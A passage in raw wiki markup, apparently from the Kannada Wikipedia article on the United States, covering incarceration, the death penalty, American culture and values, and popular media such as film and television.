ಇನ್‌ಕಾರ್ಸೇಶನ್ ರೇಟ್ ಇನ್ ಚೀನಾ ಅಂಡ್ ನಾರ್ತ್ ಕೊರಿಯಾ ಸೀ{{cite web|author=Adams, Cecil|url=http://www.straightdope.com/columns/read/2494/does-the-united-states-lead-the-world-in-prison-population|title=Does the United States Lead the World in Prison Population?|date=2004-02-06|accessdate=2007-10-11|publisher=The Straight Dope}}</ref> 2008ರ ಪ್ರಾರಂಭದ ಹೊತ್ತಿಗೆ, 2.3 ಮಿಲಿಯನ್‌‌ಗಿಂತಲೂ ಹೆಚ್ಚು ಜನರು ಕಾರಾಗೃಹವಾಸಿಗಳಾಗಿದ್ದರು. ಇದು ಪ್ರತಿ ನೂರು ಯುವಕರಲ್ಲಿ ಒಂದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿತ್ತು.<ref>{{cite web |url=http://www.pewcenteronthestates.org/news_room_detail.aspx?id=35912 |title=Pew Report Finds More than One in 100 Adults are Behind Bars|date=2008-02-28|accessdate = 2008-03-02|publisher=Pew Center on the States}}</ref> ಈಗಿನ ದರವು 1980ರ ಅಂಕಿ ಅಸಂಖ್ಯೆಗಿಂತ ಸುಮಾರು ಏಳು ಬಾರಿ ಹೆಚ್ಚಿನದಾಗಿದೆ.<ref>{{cite web |url=http://www.ojp.usdoj.gov/bjs/glance/tables/incrttab.htm |title=Incarceration Rate, 1980–2005 |year=2006|accessdate = 2007-06-10 |publisher=U.S. Dept. of Justice, Bureau of Justice Statistics}}</ref> ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಪುರುಷರು, ಬಿಳಿಯ ಪುರುಷರ ದರಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಆರು ಪಟ್ಟು ಹೆಚ್ಚು ಸೆರೆವಾಸ ಹಾಗೂ ಮೂಲದಲ್ಲಿ ಸ್ಪಾನಿಷ್‌ ಮಾತನಾಡುವ ಹಿಸ್ಪಾನಿಕ್ ಪುರಷರಿಗಿಂತ ಮೂರು ಪಟ್ಟು ಹೆಚ್ಚಿನ ಸೆರೆವಾಸ ಅನುಭವಿಸಿದ್ದಾರೆ.<ref name="SP"/> 2006ರಲ್ಲಿ ಯು.ಎಸ್‌ನಲ್ಲಿ ಬಂಧಿಸಲ್ಪಟ್ಟ ವ್ಯಕ್ತಿಗಳ ಸಂಖ್ಯೆಯು ಪೊಲಂಡ್‌ನಲ್ಲಿಯ ಅಂಕಿಅಂಶಗಳಿಗಿಂತ ಮೂರುಪಟ್ಟು ಹೆಚ್ಚಿತ್ತು. ಇದು [[ಆರ್ಥಿಕ ಸಾಹಕಾರ ಮತ್ತು ಬೆಳವಣಿಗೆಗಾಗಿ ಸಂಘಟನೆ|ಆರ್ಗನೈಸೇಷನ್‌ ಫಾರ್ ಎಕನಾಮಿಕ್‌ ಕೋ ಆಪರೇಷನ್‌ ಅಂಡ್‌ ಡೆವೆಲಪ್‌ಮೆಂಟ್‌]] (OECD)ನ ಸದಸ್ಯ ರಾಷ್ಟ್ರಗಳಲ್ಲೇ ಎರಡನೆಯ ಸ್ಥಾನ ಹೊಂದಿದೆ.<ref>{{cite web|url=http://www.kcl.ac.uk/depsta/rel/icps/worldbrief/highest_to_lowest_rates.php|archiveurl=https://web.archive.org/web/20070824173340/http://www.kcl.ac.uk/depsta/rel/icps/worldbrief/highest_to_lowest_rates.php|archivedate=2007-08-24|title=Entire World—Prison Population Rates per 100,000 of the National Population|year=2007|accessdate=2007-10-19|publisher=King's College London, International Centre for Prison Studies|url-status=live}}</ref> ದೇಶದ ಕಾರಗೃಹವಾಸದ ದರವು ಅತೀಹೆಚ್ಚಿರುವುದರ ಕಾರಣವೆಂದರೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಫೆಡರ್ಲ್ ಹೇಳಿಕೆಗಳ ನೀತಿನಿಯಮಾವಳಿಗಳು|ಶಿಕ್ಷೆಯ ತೀರ್ಪು]] ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಔಷಧಗಳ ನೀತಿ|ಮದ್ಯವ್ಯಸನದ ನಿಯಮಾವಳಿ]]ಯಾಗಿದೆ.<ref name="SP"/><ref name="HRW">{{cite web |url=http://www.hrw.org/reports/2000/usa/Rcedrg00-05.htm |title=The Impact of the War on Drugs on U.S. Incarceration |month=May | year=2000 |accessdate = 2007-06-10 |publisher=Human Rights Watch}}</ref> ಹಲವು ಪಶ್ಚಿಮದ ರಾಷ್ಟ್ರಗಳಿಂದ ರದ್ದುಗೊಳಿಸಲಾಗಿದೆಯಾದರೂ [[ಮರಣದಂಡನೆ]]ಯನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮೂವತ್ತಾರು ರಾಜ್ಯಗಳಲ್ಲಿ ಹಾಗೂ ಕೆಲವು ಫೆಡರಲ್ ಮತ್ತು ಮಿಲಿಟರಿ ಅಪರಾಧಗಳಿಗಾಗಿ ನೀಡಲಾಗುತ್ತದೆ. 1976ರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯವು ನಾಲ್ಕು ವರ್ಷಗಳ ತಾತ್ಕಾಲಿಕ ನಿಷೇಧದ ನಂತರ [[ಗ್ರೆಗ್ ವಿ. ಜಾರ್ಜಿಯಾ|ಮರಣ ದಂಡನೆಯನ್ನು ಪುನರ್‌ಸ್ಥಾಪಿಸಿದೆ]]. 1,000ಕ್ಕೂ ಹೆಚ್ಚು ಅಪರಾಧಿಗಳನ್ನು ಗಲ್ಲಿಗೇರಿಸಲಾಗಿದೆ.<ref>{{cite web |url=http://www.deathpenaltyinfo.org/executions-united-states-2007 |title=Executions in the United States in 2007|accessdate = 2007-06-15 |publisher=Death Penalty Information Center}}</ref> 2006ರಲ್ಲಿ ಜಗತ್ತಿನ ಆರನೇ ಅತೀ ಹೆಚ್ಚು ಶಿರಚ್ಛೇದಕರ ಪಟ್ಟಿಯಲ್ಲಿ ಚೀನಾ, [[ಪಾಕಿಸ್ತಾನ]], ಇರಾಕ್ ಮತ್ತು [[ಸುಡಾನ್|ಸುಡಾನ್‌]]ನ್ನು ಹಿಂಬಾಲಿಸುತ್ತಿದೆ.<ref>{{cite web |url=http://www.deathpenaltyinfo.org/death-penalty-international-perspective |title=Executions Around the World|accessdate = 2007-06-15|year=2007 |publisher=Death Penalty Information Center}}</ref> [[ಹೊಸ ಮೆಕ್ಸಿಕೊ|ನ್ಯೂ ಮೆಕ್ಸಿಕೋ]]ವನ್ನು ಹಿಂಬಾಲಿಸಿ, 2007ರಲ್ಲಿ [[ನ್ಯೂ ಜರ್ಸಿ|ನ್ಯೂ ಜೆರ್ಸಿ]]ಯು 1976ರ ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯದ ತೀರ್ಪಿನ್ನು ಅನುಸರಿಸಿ ಮರಣ ದಂಡನೆಯನ್ನು ಶಾಸನಾತ್ಮಕವಾಗಿ ನಿಷೇಧಿಸಿದ ಮೊಟ್ಟ ಮೊದಲ ರಾಜ್ಯವಾಯಿತು. == ಸಂಸ್ಕೃತಿ == {{Main|Culture of the United States}} {{seealso|Social class in the United States}} [[ಚಿತ್ರ:Motherhood and apple pie.jpg|thumb| ಅಮೆರಿಕದ ಸಾಂಸ್ಕೃತಿಕ ಸಂಕೇತ: ಆ‍ಯ್ಪಲ್ ಪೈ, ಬೇಸ್‌ಬಾಲ್ ಮತ್ತು ಅಮೆರಿಕದ ಫ್ಲಾಗ್]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಬಹುಸಾಂಸ್ಕೃತಿಕತೆ|ಬಹು ಸಾಂಸ್ಕೃತಿಕ]] ದೇಶವಾಗಿದೆ. ವಿವಿಧ ಜನಾಂಗದ ಗುಂಪುಗಳ, ಸಂಪ್ರದಾಯಗಳ ಮತ್ತು ಮೌಲ್ಯಗಳ ವಿಶಾಲ ವೈವಿಧ್ಯದ ತವರಾಗಿದೆ.<ref name="DD"/><ref name="Society in Focus"> ಥಾಂಪ್ಸನ್, ವಿಲಿಯಮ್, ಅಂಡ್ ಜೋಸೆಫ್ ಹಿಕೇ (2005). ''ಸೊಸೈಟಿ ಇನ್ ಫೋಕಸ್'' . ಬಾಸ್ಟನ್: ಪೀಯರ್ಸನ್. ISBN 0-205-41365-X.</ref> ತುಂಬ ಕಡಿಮೆ ಪ್ರಮಾಣದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು|ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರು]] ಮತ್ತು [[ಹವಾಯಿ ಸ್ಥಳೀಯರು|ಸ್ಥಳೀಯ ಹವಾಯಿ ಜನರು]]ನ್ನು ಹೊರತುಪಡಿಸಿ, ಸುಮಾರು ಎಲ್ಲಾ ಅಮೆರಿಕನ್ನರೂ ಅಥವಾ ಅವರ ಪೂರ್ವಜರೂ ಕಳೆದ ಐದು ಶತಮಾನಗಳಿಂದ ವಲಸೆ ಬಂದವರಾಗಿರುತ್ತಾರೆ.<ref> ಫಿಯೋರಿನಾ, ಮೊರಿಸ್ ಪಿ., ಅಂಡ್ ಪಾಲ್ ಈ. ಪೀಟರ್ಸನ್ (2000). ''ದಿ ನ್ಯೂ ಅಮೆರಿಕನ್ ಡೆಮಾಕ್ರಸಿ'' .ಲಂಡನ್: ಲಾಂಗ್‌ಮನ್, p. 97. ISBN 0-321-07058-5.</ref> ಸಾಮಾನ್ಯವಾಗಿ ಎಲ್ಲಾ ಅಮೆರಿಕನ್ನರ ಸಂಸ್ಕೃತಿಯೂ (ಮುಖ್ಯ ವಾಹಿನಿಯ ಅಮೆರಿಕದ ಸಂಸ್ಕೃತಿಯು) [[African American culture|ಆಫ್ರಿಕಾದ ಕೂಲಿಗಳ ಸಂಪ್ರದಾಯಗಳಂಥ]] ಹಲವು ಪ್ರಭಾವಗಳ ಜೊತೆಗೆ [[ಅಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಸಂಸ್ಕೃತಿ|ಯುರೋಪಿಯನ್ ವಲಸೆಗಾರರ ಸಂಪ್ರದಾಯಗಳಂಥ]] [[ಪಾಶ್ಚಿಮಾತ್ಯ ಸಂಸೃತಿ|ಪಾಶ್ಚಿಮಾತ್ಯ ಸಂಸ್ಕೃತಿ]]ಯ ಪ್ರಭಾವಕ್ಕೆ ಒಳಪಟ್ಟಿದೆ.<ref name="DD"/><ref>ಹೋಲೋವೇ, ಜೋಸೆಫ್ ಈ. (2005.''ಆಫ್ರಿಕನಿಸಮ್ಸ್ ಇನ್ ಅಮೆರಿಕನ್ ಕಲ್ಚರ್'' , 2d ed. ಬ್ಲೂಮಿಂಗ್ಟನ್: ಇಂಡಿಯಾನಾ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, pp. 18–38. ISBN 0-253-34479-4. ಜಾನ್ಸನ್, ಫೆರ್ನ್ ಎಲ್. (1999). ''ಸ್ಪೀಕಿಂಗ್ ಕಲ್ಚರಲಿ: ಲ್ಯಾಂಗ್ವೇಜ್ ಡೈವರ್ಸಿಟಿ ಇನ್ ದಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್'' . ಥೌಸಂಡ್ ಓಕ್ಸ್, ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ, ಲಂಡನ್, ಮತ್ತು ನ್ಯೂ ದೆಲ್ಲಿ: ಸೇಜ್, p. 116. ISBN 0-8039-5912-5.</ref> ತೀರಾ ಇತ್ತೀಚೆಗೆ [[ಏಷ್ಯದ ಅಮೆರಿಕನ್ನರು|ಏಷ್ಯಾ]]ದಿಂದ ಮತ್ತು ವಿಶೇಷವಾಗಿ [[ಲ್ಯಾಟಿನ್ ಅಮೆರಿಕ ಸಂಸ್ಕೃತಿ|ಲ್ಯಾಟಿನ್ ಅಮೆರಿಕಾ]]ದಿಂದ ಬಂದ ವಲಸೆಗಾರರು ಸಾಂಸ್ಕೃತಿಕ ಸಮ್ಮಿಳನಕ್ಕೆ ಕಾರಣವಾಗಿದ್ದಾರೆ. ಇದನ್ನು ವಲಸೆಗಾರರು ಮತ್ತು ತಮ್ಮ ಸಂತತಿಯನ್ನು ಪುನರ್‌ಒಗ್ಗೂಡಿಸಿಕೊಳ್ಳುವ ಸಾಂಸ್ಕೃತಿಕ ಗುಣಲಕ್ಷಣಗಳ [[ಕರಗುವ ಮಡಿಕೆ|ಸಮ್ಮಿಶ್ರ ಕುಡಿಕೆ]] ಮತ್ತು [[ಹೆಚ್ಚಿದ ಹಸಿತರಕಾರಿಗಳ ಬೌಲ್ (ಸಂಸ್ಕೃತಿಕ ವಿಚಾರ)|ಸಂಕರ ಕುಡಿಕೆ]] ಎಂದು ವಿವರಿಸಲಾಗಿದೆ.<ref name="DD"/> [[ಗೀರ್ಟ್ ಹೊಫ್‌ಸ್ಟೆ‌ಡ್|ಗೀರ್ಟ್ ಹಾಫ್‌ಸ್ಟೀಡ್]] ಅವರ ಸಾಂಸ್ಕೃತಿಕ ಕವಲಿನ ವಿಶ್ಲೇಷಣೆಯಂತೆ, ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಇತರೆಲ್ಲ ದೇಶದ ಅಧ್ಯಯನಕ್ಕಿಂತ ಅತೀ ಹೆಚ್ಚು [[ವಯಕ್ತಿಕವಾದ|ವೈಯಕ್ತಿಕವಾದದ]]ಯ ಅಂಕವನ್ನು ಹೊಂದಿದೆ.<ref>{{cite web|url=http://www.clearlycultural.com/geert-hofstede-cultural-dimensions/individualism/|title=Individualism| publisher = Clearly Cultural|accessdate=2009-02-28}}</ref> ಇದೇ ವೇಳೆ ಮುಖ್ಯವಾಹಿನಿಯ ಸಂಸ್ಕೃತಿಯು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವನ್ನು [[ವರ್ಗರಹಿತ ಸಮಾಜ|ವರ್ಗವಿಲ್ಲದ ಸಮಾಜ]]ವನ್ನಾಗಿ ಮಾಡಿದೆ.<ref>{{cite book |last=Gutfield |first=Amon |year=2002 |title=American Exceptionalism: The Effects of Plenty on the American Experience |publisher=Sussex Academic Press |location=Brighton and Portland |page=65 |isbn=1903900085}}</ref>ದೇಶದ [[ಸಾಮಾಜೀಕರಣ|ಸಾಮಾಜಿಕತೆ]], ಭಾಷೆ ಮತ್ತು ಮೌಲ್ಯಗಳು ಮಧ್ಯೆ ಗಮನಾರ್ಹವಾದ ವ್ಯತ್ಯಾಸವನ್ನು ವಿದ್ವಾಂಸರು ಗುರುತಿಸಿದ್ದಾರೆ.<ref>{{cite book |last=Zweig |first=Michael |year=2004 |title=What's Class Got To Do With It, American Society in the Twenty-First Century |publisher=Cornell University Press |location=Ithaca, NY |isbn=0801488990}} {{cite web |url=http://eric.ed.gov/ERICWebPortal/Home.portal?_nfpb=true&_pageLabel=RecordDetails&ERICExtSearch_SearchValue_0=ED309843&ERICExtSearch_SearchType_0=eric_accno&objectId=0900000b800472a5 |title=Effects of Social Class and Interactive Setting on Maternal Speech |publisher=Education Resource Information Center |accessdate=2007-01-27}}</ref> [[ಅಮೆರಿಕದ ಮದ್ಯಮ ವರ್ಗ|ಅಮೆರಿಕದ ಮಧ್ಯ ಮತ್ತು ದುಡಿಯುವ ವರ್ಗವು]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾ‍ದನಲ್ಲಿ ಮಹಿಳೆಯರ ಇತಿಹಾಸ|ಆಧುನಿಕ ಸ್ತ್ರೀವಾದ]], [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಪರಿಸರ ಚಳುವಳಿ|ಪರಿಸರವಾದ]] ಮತ್ತು ಬಹುಸಾಂಸ್ಕೃತಿಯತೆಯಂತಹ ಸಮಕಾಲೀನ ಸಾಮಾಜಿಕ ಧೋರಣೆಯನ್ನು ಹೊಂದಿದೆ.<ref>{{cite book |last=Ehrenreich |first=Barbara |year=1989 |title=Fear of Falling, The Inner Life of the Middle Class |publisher=HarperCollins |location=New York |isbn=0060973331}}</ref> ಅಮೆರಿಕನ್ನರ ಸ್ವಂತ ಕಲ್ಪನೆಗಳು, ಸಾಮಾಜಿಕ ದೃಷ್ಟಿಕೋನಗಳು ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ನಿರೀಕ್ಷೆಗಳು ಅವರ ಕೆಲಸಗಳ ಜೊತೆ ಅಸಹಜವಾದ ಸಮೀಪ ಹಂತದ ಸಂಬಂಧವನ್ನು ಹೊಂದಿದೆ.<ref>{{cite book |last=Eichar |first=Douglas |year=1989 |title=Occupation and Class Consciousness in America |publisher=Greenwood Press |location=Westport, CT |isbn=0313261113}}</ref> ಅದೇ ವೇಳೆ ಅಮೆರಿಕನ್ನರ ಸಮಾಜೋಆರ್ಥಿಕ ಸಾಧನೆಯ ಉನ್ನತ ಮೌಲ್ಯಗಳು, [[ಸರಾಸರಿ ಜೋ|ಸಾಧಾರಣ ಅಥವಾ ಸರಾಸರಿ]]ಯಾಗಿ ಸಕಾರಾತ್ಮಕ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಹೊಂದಿವೆ.<ref>{{cite book |last=O'Keefe |first=Kevin |year=2005 |title=The Average American |publisher=PublicAffairs |location=New York |id=ISBN 1-58648-270-X |isbn=158648270X}}</ref> ಅಮೆರಿಕನ್ನರು ಅನುಭವಿಸುವ ಉತ್ತಮ [[ಸಾಮಾಜಿಕ ಚಲನೆ|ಸಾಮಾಜಿಕ ವ್ಯವಸ್ಥೆ]] ಹಾಗೂ [[ಅಮೆರಿಕದ ಕನಸು]]ಗಳು ವಲಸೆಗಾರರನ್ನು ಆಕರ್ಷಿಸಲು ಪ್ರಮುಖ ಪಾತ್ರವನ್ನು ವಹಿಸಿದೆ. ಕೆಲವು ವಿದ್ವಾಂಸರು ವಿಶ್ಲೇಷಿಸುವಂತೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಪಶ್ಚಿಮ ಯೂರೋಪ್ ಮತ್ತು ಕೆನಡಾಗಳಿಗಿಂತ ಉತ್ತಮ ಸಾಮಾಜಿಕ ವ್ಯವಸ್ಥೆಯನ್ನು ಹೊಂದಿದೆ. <ref>{{cite news|url=http://www.economist.com/world/unitedstates/displayStory.cfm?story_id=3518560|title=Ever Higher Society, Ever Harder to Ascend: Whatever Happened to the Belief That Any American Could Get to the Top| work = Economist|date=2004-12-29 |accessdate=2006-08-21}} {{cite web|url=http://www.suttontrust.com/reports/IntergenerationalMobility.pdf|title=Intergenerational Mobility in Europe and North America|author=Blanden, Jo, Paul Gregg, and Stephen Malchin| publisher = Centre for Economic Performance|month=April | year=2005 |accessdate=2006-08-21}}</ref> ಸ್ತ್ರೀಯರು ಬಹುಪಾಲು, ಮನೆಯ ಹೊರಗಡೆ ಕೆಲಸ ಮಾಡುತ್ತಾರೆ ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನನಲ್ಲಿ ಶಿಕ್ಷಣ ಹೊಂದುವುದು|ಪದವಿ]]ಯನ್ನು ಹೊಂದಿರುತ್ತಾರೆ.<ref>{{cite web |url=http://www.iserp.columbia.edu/news/articles/female_college.html |title=Women's Advances in Education |publisher=Columbia University, Institute for Social and Economic Research and Policy |year=2006 |accessdate=2007-06-06 |archive-date=2007-06-09 |archive-url=https://web.archive.org/web/20070609151527/http://www.iserp.columbia.edu/news/articles/female_college.html |url-status=dead }}</ref> 2005ರಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಮಾಜ #ಗೃಹ ವ್ಯವಸ್ಥೆಗಳು|28%ರಷ್ಟು ಕುಟುಂಬಗಳು]] ಮದುವೆಯಾಗಿ ಮಕ್ಕಳಿಲ್ಲದ ದಂಪತಿಗಳಾಗಿರುವ ವ್ಯವಸ್ಥೆಯಲ್ಲಿದ್ದಾರೆ.<ref> ವಿಲಿಯಮ್ಸ್, ಬ್ರಿಯಾನ್, ಸ್ಟೇಸೀ ಸಿ. ಸಾಯರ್, ಅಂಡ್ ಕಾರ್ಲ್ ಎಂ.ವಾಲ್ಸ್‌ಟ್ರಾಮ್( 2005).''ಮ್ಯಾರೇಜಸ್, ಫ್ಯಾಮಿಲೀಸ್ ಅಂಡ್ ಇಂಟಿಮೇಟ್ ರಿಲೇಶನ್ಶಿಪ್ಸ್'' . ಬೋಸ್ಟನ್: ಪೀಯರ್ಸನ್. ISBN 0-205-36674-0.</ref> [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಲಿಂಗ ಮದುವೆ|ಸಲಿಂಗ ಮದುವೆ]]ಯು ವಿವಾದಾತ್ಮಕವಾಗಿದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಲಿಂಗ ಮದುವೆ ಕಾನೂನು|ಕೆಲವು ರಾಜ್ಯಗಳ]] ಸಿವಿಲ್ ಯೂನಿಯನ್‌ಗಳು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಿವಿಲ್ ಒಕ್ಕೂಟ|ಲಿಯೂ ಆಫ್ ಮ್ಯಾರೇಜ್‌ಗೆ]] ಅನುಮತಿ ನೀಡಿದೆ. 2003ರ ಹೊತ್ತಿಗೆ ನಾಲ್ಕು ರಾಜ್ಯಗಳ ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯವು ಅಸಾಂವಿಧಾನಿಕ ಸಲಿಂಗ ಮದುವೆಯನ್ನು ನಿರ್ಬಂಧಿಸಿದೆ. ಇದೇ ವೇಳೆ ಹನ್ನೆರಡಕ್ಕೂ ಹೆಚ್ಚು ರಾಜ್ಯಗಳಲ್ಲಿನ ಮತದಾರರು ಸಲಿಂಗ ಕಾಮದ ಆಚರಣೆಯ ಸಾಂವಿಧಾನಿಕ ನಿರ್ಬಂಧವನ್ನು ಒಪ್ಪಿದ್ದಾರೆ. 2009ರಲ್ಲಿ ಮೊಟ್ಟಮೊದಲು [[ವೆರ್ಮಾಂಟ್‌ನಲ್ಲಿ ಸಲಿಂಗ ಮದುವೆ|ವೆರ್ಮಾಂಟ್]], [[ಮೈನೆಯಲ್ಲಿ ಸಲಿಂಗ ಮದುವೆ|ಮೈನೆ]] ಮತ್ತು [[ಹ್ಯಾಮ್‌ಶೈರ್‌ನಲ್ಲಿನ ಸಿವಿಲ್ ಒಕ್ಕೂಟಗಳು|ನ್ಯೂ ಹ್ಯಾಂಪ್‌ಶೈರ್‌]] ರಾಜ್ಯಗಳು ಸಮಲೈಂಗಿಕತೆಗೆ ಶಾಸನಾತ್ಮಕ ಕ್ರಮಗಳ ಮೂಲಕ ಅನುಮತಿಸಿದೆ. === ಜನಪ್ರಿಯ ಮಾಧ್ಯಮ === {{Main|Cinema of the United States|Television in the United States|Music of the United States}} [[ಚಿತ್ರ:PB050006.JPG|thumb| ಹಾಲಿವುಡ್ ಚಿಹ್ನೆ]] ಜಗತ್ತಿನ ಮೊದಲ ಚಲನಚಿತ್ರದ ಪ್ರದರ್ಶನವನ್ನು [[ಥಾಮಸ್ ಎಡಿಸನ್|ಥಾಮಸ್ ಎಡಿಸನ್‌]]ನ [[ಕೈನೆಟೋಸ್ಕೋಪ್|ಕೈನೆಟೋಸ್ಕೋಪ್‌]]ನ್ನ ಉಪಯೋಗಿಸಿಕೊಂಡು ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿಯಲ್ಲಿ 1894ರಲ್ಲಿ ನಡೆಸಲಾಯಿತು. ಮುಂದಿನ ವರ್ಷ ನ್ಯೂಯಾರ್ಕ್‌ನಲ್ಲಿ ಮೊದಲ ವಾಣಿಜ್ಯಿಕ ಚಲನಚಿತ್ರ ಪ್ರದರ್ಶನವನ್ನು ಕೈಗೊಳ್ಳಲಾಯಿತು. ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಈ ಶತಮಾನದಲ್ಲಿ [[ವಾಕ್ ಚಲನಚಿತ್ರ|ವಾಕ್‌‍ಚಿತ್ರ]]ಗಳ ಬೆಳಣಿಗೆಗೆ ಮುಂದಾಳತ್ವ ವಹಿಸಿತು. 20ನೇ ಶತಮಾನದಲ್ಲಿ [[ಹಾಲಿವುಡ್, ಲಾಸ್ ಏಂಜಲೀಸ್, ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ|ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಹಾಲಿವುಡ್‌]]ನ ಸುತ್ತಮುತ್ತ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಚಲನಚಿತ್ರ ಉದ್ಯಮವು ನೆಲೆಯಾಯಿತು. [[ಚಲಚಿತ್ರ ವ್ಯಾಕರಣ|ಚಲನಚಿತ್ರ ವ್ಯಾಕರಣ]]ದ ಬೆಳವಣಿಗೆಗೆ ನಿರ್ದೇಶಕರಾದ [[ಡಿ.ಡಬ್ಲ್ಯೂ.ಗ್ರಿಫ್ಫಿತ್|ಡಿ.ಡಬ್ಲ್ಯೂ. ಗ್ರಿಫಿತ್‌]]ಕಾರಣರಾದರು ಮತ್ತು [[ಆರ್ಸನ್ ವೆಲ್ಲೆಸ್|ಓರ್ಸನ್ ವೆಲ್ಲೆಸ್‌]]ರ ''[[ಸಿಟಿಜನ್ ಕೇನ್]]'' (೧೯೪೧), ಎಲ್ಲ ಸಮಯದ ಅತ್ಯುತ್ತಮ ಚಲನಚಿತ್ರವೆಂದು ಅಂಗೀಕರಿಸಲ್ಪಟ್ಟಿದೆ.<ref> [http://www.filmsite.org/villvoice.html "ವಿಲೇಜ್ ವಾಯ್ಸ್": 100 ಬೆಸ್ಟ್ ಫಿಲಮ್ಸ್ ಆಪ್ ದಿ 20ತ್ ಸೆಂಚುರಿ(2001)].Filmsite.org; [http://www.bfi.org.uk/sightandsound/topten/poll/critics-long.html ''ಸೈಟ್ ಅಂಡ್ ಸೌಂಡ್'' ಟಾಪ್ ಟೆನ್ ರೋಲ್ 2002]. BFI. ರಿಟ್ರೈವ್‌ಡ್ ಆನ್ 2007-06-19.</ref> ಅಮೆರಿಕದ ಚಿತ್ರತಾರೆಗಳಾದಂತಹ [[ಜಾನ್ ವೇಯ್ನ್|ಜಾನ್ ವಾಯ್ನ್]] ಮತ್ತು [[ಮರ್ಲಿನ್ ಮನ್ರೆ|ಮರ್ಲಿನ್ ಮನ್ರೋ]]ರವರು ಪೂಜನೀಯ ವ್ಯಕ್ತಿಗಳಾದರು. ಅದೇವೇಳೆ ನಿರ್ಮಾಪಕರಾದ [[ವಾಲ್ಟ್ ಡಿಸ್ನಿ|ವಾಲ್ಟ್ ಡಿಸ್ನೆ]] [[ಅನಿಮೇಶನ್|ಅನಿಮೇಟೆಡ್ ಚಿತ್ರ]]ಕ್ಕೂ ಮತ್ತು [[ವಾಣಿಜ್ಯಸರಕು|ವಾಣಿಜ್ಯಿಕ]] ಚಿತ್ರ ನಿರ್ಮಾಣದಲ್ಲೂ ಮುಖ್ಯ ವ್ಯಕ್ತಿಗಳಾದರು. ಹಾಲಿವುಡ್‌ನ [[ಪ್ರಮುಖ ಚಲನಚಿತ್ರ ಸ್ಟು‌ಡಿಯೋ|ಮುಖ್ಯ ಚಲನಚಿತ್ರ ಸ್ಟುಡಿಯೋ]]ಗಳು ಇತಿಹಾಸದಲ್ಲಿ ವಾಣಿಜ್ಯಿಕವಾಗಿ ಯಶಸ್ವಿಯಾದ ''[[:ಸ್ಟಾರ್ ಸಮರದ ಸರಣಿ IV: ಒಂದು ಹೊಸ ಭರವಸೆ|ಸ್ಟಾರ್ ವಾರ್]]'' (1977) ಮತ್ತು ''[[ಟೈಟಾನಿಕ್‌ (1997 ಚಲನಚಿತ್ರ)|ಟೈಟಾನಿಕ್]] '' (1997)ನಂತಹ ಚಲನಚಿತ್ರಗಳನ್ನು ತಯಾರಿಸಿದವು. ಇಂದು ಜಾಗತಿಕ ಚಲನಚಿತ್ರ ಜಗತ್ತನ್ನು ಹಾಲಿವುಡ್ ನಿಯಂತ್ರಿಸುತ್ತಿದೆ.<ref>{{cite web |url=http://www.unesco.org/bpi/eng/unescopress/2000/00-120e.shtml |title=World Culture Report 2000 Calls for Preservation of Intangible Cultural Heritage |date=2000-11-17 |publisher=UNESCO |accessdate=2007-09-14}} {{cite web |url=http://www1.worldbank.org/economicpolicy/globalization/thwart.html |title=Summary: Does Globalization Thwart Cultural Diversity? |publisher=World Bank Group |accessdate=2007-09-14}}</ref> ಅಮೆರಿಕನ್ನರು ಜಗತ್ತಿನಲ್ಲೇ ಅತೀ ಹೆಚ್ಚು ದೂರದರ್ಶನ ವೀಕ್ಷಕರಾಗಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.nationmaster.com/graph/med_tel_vie-media-television-viewing |title=Media Statistics > Television Viewing by Country |publisher=NationMaster |accessdate=2007-06-03}}</ref> ಮತ್ತು ಸರಾಸರಿ ವೀಕ್ಷಣೆಯ ಅವಧಿಯು ನಿರಂತರವಾಗಿ ಏರುತ್ತಾ 2006ರಲ್ಲಿ ಪ್ರತಿ ದಿನಕ್ಕೆ ಐದು ಗಂಟೆಯಷ್ಟಾಗಿದೆ.<ref>{{cite web |url=http://www.emarketer.com/Article.aspx?id=1005003 |title=Broadband and Media Consumption |date=2007-06-07|publisher=eMarketer |accessdate=2007-06-10}}</ref> ನಾಲ್ಕು ಮುಖ್ಯ ಪ್ರಸಾರ ಜಾಲಗಳು ವಾಣಿಜ್ಯ ಮೂಲದವು. ಅಮೆರಿಕನ್ನರು ಬಾನುಲಿ ಕಾರ್ಯಕ್ರಮವನ್ನು ಸುಮಾರು 